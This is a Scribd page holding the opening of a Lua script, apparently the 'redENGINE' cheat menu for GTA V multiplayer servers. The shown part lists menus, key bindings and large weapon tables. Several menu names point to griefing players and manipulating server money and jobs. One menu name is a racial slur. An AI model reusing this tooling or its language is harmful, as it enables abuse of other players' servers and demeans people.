0% found this document useful (0 votes)
10 views122 pages

RedENGINE Menu Configuration Script

The document outlines a Lua script for a menu system in a game, specifically for managing various functionalities such as weapon selection, vehicle options, and player interactions. It includes a list of available menus, weapons, vehicles, and customization options, as well as configurations for user interface elements. The script also defines key mappings and settings for the menu's appearance and behavior.

Uploaded by

sax2.pro
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views122 pages

RedENGINE Menu Configuration Script

The document outlines a Lua script for a menu system in a game, specifically for managing various functionalities such as weapon selection, vehicle options, and player interactions. It includes a list of available menus, weapons, vehicles, and customization options, as well as configurations for user interface elements. The script also defines key mappings and settings for the menu's appearance and behavior.

Uploaded by

sax2.pro
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

redMENU = { }

[Link] = false

local Enabled = true

local message = "redENGINE"

local logged = true


local pass = "gay"

local animated = false


local rainbow = false

local allMenus = { "MainMenu", "SelfMenu", "OnlinePlayersMenu", "WeaponMenu",


"SingleWeaponMenu", "MaliciousMenu",
"ESXMenu", "ESXJobMenu", "ESXMoneyMenu", "VehMenu",
"VehSpawnOpt", "PlayerOptionsMenu",
"TeleportMenu", "NiggerCustoms", "PlayerTrollMenu",
"PlayerESXMenu", "PlayerESXJobMenu",
"PlayerESXTriggerMenu", "BulletGunMenu",
"TrollMenu", "WeaponCustomization", "WeaponTintMenu",
"VehicleRamMenu", "ESXBossMenu", "SpawnPropsMenu",
"PerformanceMenu", "SingleWepPlayer", "SettingsMenu", "VehBoostMenu",
"ESXMiscMenu", "ESXDrugMenu", "VRPMenu", "Credits",
"SpawnPedsMenu", "Themes", "CarTypeSelection" ,"CarOptions",
"CarTypes", "tunings", "performance",
"WeaponTypes", "WeaponTypeSelection", "WeaponOptions", "ModSelect", "primary",
"secondary",
"rimpaint", "classic1", "metallic1", "matte1",
"metal1", "classic2", "metallic2", "matte2", "metal2", "classic3", "metallic3",
"matte3", "metal3", "paint", "BlockAreas",
"InfoMenu", "PlayerSpawnPedsMenu" }

local currentMenuX = 1
local selectedMenuX = 1
local currentMenuY = 1
local selectedMenuY = 1
local menuX = { 0.025, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.75 }
local menuY = { 0.025, 0.1, 0.2, 0.3, 0.425 }

local SelectedPlayer
local bullets = { "WEAPON_FLAREGUN", "WEAPON_FIREWORK", "WEAPON_RPG",
"WEAPON_PIPEBOMB", "WEAPON_RAILGUN", "WEAPON_SMOKEGRENADE",
"VEHICLE_WEAPON_PLAYER_LASER", "VEHICLE_WEAPON_TANK" }
local peds = { "a_c_boar", "a_c_killerwhale", "a_c_sharktiger",
"csb_stripper_01" }
local vehicles = { "Freight", "Rhino", "Futo", "Vigilante", "Monster", "Panto",
"Bus", "Dump", "CargoPlane" }
local vehicleSpeed = { 1.0, 10.0, 20.0, 30.0, 40.0, 50.0, 60.0, 70.0, 80.0,
90.0, 100.0, 110.0, 120.0, 130.0, 140.0, 150.0 }

local b0 = false
local b1 = false
local b2 = false
local b3 = false
local b4 = nil
local b5 = {}
local b6 = {}
local b7 = nil
local b8 = false
local b9 = -1
local ba = -1
local bb = -1
local bc = false

local currentVehicle = 1
local selectedVehicle = 1

local currentVehicleSpeed = 16
local selectedVehicleSpeed = 16

local currentBone = 1
local selectedBone = 1

local currentDamage = 1
local selectedDamage = 1

local currentPed = 1
local selectedPed = 1

local currentBullet = 1
local selectedBullet = 1

local menus = { }
local keys = { up = 300, down = 299, left = 308, right = 307, select = 215,
back = 194 }
local optionCount = 0

local currentKey = nil


local currentMenu = nil

local titleHeight = 0.11


local titleYOffset = 0.03
local titleScale = 1.0

local buttonHeight = 0.038


local buttonFont = 0
local buttonScale = 0.365
local buttonTextXOffset = 0.005
local buttonTextYOffset = 0.005

local allWeapons =
{"WEAPON_KNIFE","WEAPON_KNUCKLE","WEAPON_NIGHTSTICK","WEAPON_HAMMER","WEAPON_BAT","
WEAPON_GOLFCLUB","WEAPON_CROWBAR","WEAPON_BOTTLE","WEAPON_DAGGER","WEAPON_HATCHET",
"WEAPON_MACHETE","WEAPON_FLASHLIGHT","WEAPON_SWITCHBLADE","WEAPON_PISTOL","WEAPON_P
ISTOL_MK2","WEAPON_COMBATPISTOL","WEAPON_APPISTOL","WEAPON_PISTOL50","WEAPON_SNSPIS
TOL","WEAPON_HEAVYPISTOL","WEAPON_VINTAGEPISTOL","WEAPON_STUNGUN","WEAPON_FLAREGUN"
,"WEAPON_MARKSMANPISTOL","WEAPON_REVOLVER","WEAPON_MICROSMG","WEAPON_SMG","WEAPON_S
MG_MK2","WEAPON_ASSAULTSMG","WEAPON_MG","WEAPON_COMBATMG","WEAPON_COMBATMG_MK2","WE
APON_COMBATPDW","WEAPON_GUSENBERG","WEAPON_MACHINEPISTOL","WEAPON_ASSAULTRIFLE","WE
APON_ASSAULTRIFLE_MK2","WEAPON_CARBINERIFLE","WEAPON_CARBINERIFLE_MK2","WEAPON_ADVA
NCEDRIFLE","WEAPON_SPECIALCARBINE","WEAPON_BULLPUPRIFLE","WEAPON_COMPACTRIFLE","WEA
PON_PUMPSHOTGUN","WEAPON_SAWNOFFSHOTGUN","WEAPON_BULLPUPSHOTGUN","WEAPON_ASSAULTSHO
TGUN","WEAPON_MUSKET","WEAPON_HEAVYSHOTGUN","WEAPON_DBSHOTGUN","WEAPON_SNIPERRIFLE"
,"WEAPON_HEAVYSNIPER","WEAPON_HEAVYSNIPER_MK2","WEAPON_MARKSMANRIFLE","WEAPON_GRENA
DELAUNCHER","WEAPON_GRENADELAUNCHER_SMOKE","WEAPON_RPG","WEAPON_STINGER","WEAPON_FI
REWORK","WEAPON_HOMINGLAUNCHER","WEAPON_GRENADE","WEAPON_STICKYBOMB","WEAPON_PROXMI
NE","WEAPON_BZGAS","WEAPON_SMOKEGRENADE","WEAPON_MOLOTOV","WEAPON_FIREEXTINGUISHER"
,"WEAPON_PETROLCAN","WEAPON_SNOWBALL","WEAPON_FLARE","WEAPON_BALL"}

local b7 = {
Melee = {
BaseballBat = {
id = "weapon_bat", name = "Baseball Bat", bInfAmmo = false, mods =
{}
}, BrokenBottle = {
id = "weapon_bottle", name = "Broken Bottle", bInfAmmo = false,
mods = {}
}, Crowbar = {
id = "weapon_Crowbar", name = "Crowbar", bInfAmmo = false, mods =
{}
}, Flashlight = {
id = "weapon_flashlight", name = "Flashlight", bInfAmmo = false,
mods = {}
}, GolfClub = {
id = "weapon_golfclub", name = "Golf Club", bInfAmmo = false, mods
= {}
}, BrassKnuckles = {
id = "weapon_knuckle", name = "Brass Knuckles", bInfAmmo = false,
mods = {}
}, Knife = {
id = "weapon_knife", name = "Knife", bInfAmmo = false, mods = {}
}, Machete = {
id = "weapon_machete", name = "Machete", bInfAmmo = false, mods =
{}
}, Switchblade = {
id = "weapon_switchblade", name = "Switchblade", bInfAmmo = false,
mods = {}
}, Nightstick = {
id = "weapon_nightstick", name = "Nightstick", bInfAmmo = false,
mods = {}
}, BattleAxe = {
id = "weapon_battleaxe", name = "Battle Axe", bInfAmmo = false,
mods = {}
}
}, Handguns = {
Pistol = {
id = "weapon_pistol", name = "Pistol", bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_PISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_PISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, PistolMK2 = {
id = "weapon_pistol_mk2", name = "Pistol MK 2", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_PISTOL_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_PISTOL_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Mounted Scope", id = "COMPONENT_AT_PI_RAIL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH_02"
}
}, BarrelAttachments = {
{
name = "Compensator", id = "COMPONENT_AT_PI_COMP"
}, {
name = "Suppessor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, CombatPistol = {
id = "weapon_combatpistol", name = "Combat Pistol", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATPISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, APPistol = {
id = "weapon_appistol", name = "AP Pistol", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_APPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_APPISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, StunGun = {
id = "weapon_stungun", name = "Stun Gun", bInfAmmo = false, mods =
{}
}, Pistol50 = {
id = "weapon_pistol50", name = "Pistol .50", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_PISTOL50_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_PISTOL50_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, SNSPistol = {
id = "weapon_snspistol", name = "SNS Pistol", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SNSPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SNSPISTOL_CLIP_02"
}
}
}
}, SNSPistolMkII = {
id = "weapon_snspistol_mk2", name = "SNS Pistol Mk II", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Mounted Scope", id = "COMPONENT_AT_PI_RAIL_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH_03"
}
}, BarrelAttachments = {
{
name = "Compensator", id = "COMPONENT_AT_PI_COMP_02"
}, {
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, HeavyPistol = {
id = "weapon_heavypistol", name = "Heavy Pistol", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_HEAVYPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_HEAVYPISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, VintagePistol = {
id = "weapon_vintagepistol", name = "Vintage Pistol", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_VINTAGEPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_VINTAGEPISTOL_CLIP_02"
}
}, BarrelAttachments = {
{
"Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, FlareGun = {
id = "weapon_flaregun", name = "Flare Gun", bInfAmmo = false, mods
= {}
}, MarksmanPistol = {
id = "weapon_marksmanpistol", name = "Marksman Pistol", bInfAmmo =
false, mods = {}
}, HeavyRevolver = {
id = "weapon_revolver", name = "Heavy Revolver", bInfAmmo = false,
mods = {}
}, HeavyRevolverMkII = {
id = "weapon_revolver_mk2", name = "Heavy Revolver Mk II", bInfAmmo
= false, mods = {
Magazines = {
{
name = "Default Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_01"
}, {
name = "Tracer Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Compensator", id = "COMPONENT_AT_PI_COMP_03"
}
}
}
}, DoubleActionRevolver = {
id = "weapon_doubleaction", name = "Double Action Revolver",
bInfAmmo = false, mods = {}
}, UpnAtomizer = {
id = "weapon_raypistol", name = "Up-n-Atomizer", bInfAmmo = false,
mods = {}
}
}, SMG = {
MicroSMG = {
id = "weapon_microsmg", name = "Micro SMG", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MICROSMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MICROSMG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}
}
}, SMG = {
id = "weapon_smg", name = "SMG", bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id = "COMPONENT_SMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SMG_CLIP_02"
}, {
name = "Drum Magazine", id = "COMPONENT_SMG_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, SMGMkII = {
id = "weapon_smg_mk2", name = "SMG Mk II", bInfAmmo = false, mods =
{
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SMG_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SMG_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_SMG_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_SMG_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id = "COMPONENT_SMG_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id =
"COMPONENT_AT_SIGHTS_SMG"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_02_SMG_MK2"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_SMG_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_SB_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_SB_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}
}
}, AssaultSMG = {
id = "weapon_assaultsmg", name = "Assault SMG", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTSMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTSMG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}
}
}, CombatPDW = {
id = "weapon_combatpdw", name = "Combat PDW", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATPDW_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATPDW_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_COMBATPDW_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, MachinePistol = {
id = "weapon_machinepistol", name = "Machine Pistol ", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MACHINEPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MACHINEPISTOL_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_MACHINEPISTOL_CLIP_03"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, MiniSMG = {
id = "weapon_minismg", name = "Mini SMG", bInfAmmo = false, mods =
{
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MINISMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MINISMG_CLIP_02"
}
}
}
}, UnholyHellbringer = {
id = "weapon_raycarbine", name = "Unholy Hellbringer", bInfAmmo =
false, mods = {}
}
}, Shotguns = {
PumpShotgun = {
id = "weapon_pumpshotgun", name = "Pump Shotgun", bInfAmmo = false,
mods = {
Flashlight = {
{
"name = Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_SR_SUPP"
}
}
}
}, PumpShotgunMkII = {
id = "weapon_pumpshotgun_mk2", name = "Pump Shotgun Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_01"
}, {
name = "Dragon Breath Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY"
}, {
name = "Steel Buckshot Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING"
}, {
name = "Flechette Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT"
}, {
name = "Explosive Slugs", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_SR_SUPP_03"
}, {
name = "Squared Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_08"
}
}
}
}, SawedOffShotgun = {
id = "weapon_sawnoffshotgun", name = "Sawed-Off Shotgun", bInfAmmo
= false, mods = {}
}, AssaultShotgun = {
id = "weapon_assaultshotgun", name = "Assault Shotgun", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTSHOTGUN_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTSHOTGUN_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, BullpupShotgun = {
id = "weapon_bullpupshotgun", name = "Bullpup Shotgun", bInfAmmo =
false, mods = {
Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, Musket = {
id = "weapon_musket", name = "Musket", bInfAmmo = false, mods = {}
}, HeavyShotgun = {
id = "weapon_heavyshotgun", name = "Heavy Shotgun", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_HEAVYSHOTGUN_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_HEAVYSHOTGUN_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_HEAVYSHOTGUN_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, DoubleBarrelShotgun = {
id = "weapon_dbshotgun", name = "Double Barrel Shotgun", bInfAmmo =
false, mods = {}
}, SweeperShotgun = {
id = "weapon_autoshotgun", name = "Sweeper Shotgun", bInfAmmo =
false, mods = {}
}
}, AssaultRifles = {
AssaultRifle = {
id = "weapon_assaultrifle", name = "Assault Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTRIFLE_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_ASSAULTRIFLE_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, AssaultRifleMkII = {
id = "weapon_assaultrifle_mk2", name = "Assault Rifle Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_AR_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_AR_BARREL_0"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, CarbineRifle = {
id = "weapon_carbinerifle", name = "Carbine Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_CARBINERIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_CARBINERIFLE_CLIP_02"
}, {
name = "Box Magazine", id =
"COMPONENT_CARBINERIFLE_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MEDIUM"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, CarbineRifleMkII = {
id = "weapon_carbinerifle_mk2", name = "Carbine Rifle Mk II ",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_CR_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_CR_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, AdvancedRifle = {
id = "weapon_advancedrifle", name = "Advanced Rifle ", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ADVANCEDRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ADVANCEDRIFLE_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}
}
}, SpecialCarbine = {
id = "weapon_specialcarbine", name = "Special Carbine", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SPECIALCARBINE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SPECIALCARBINE_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_SPECIALCARBINE_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MEDIUM"
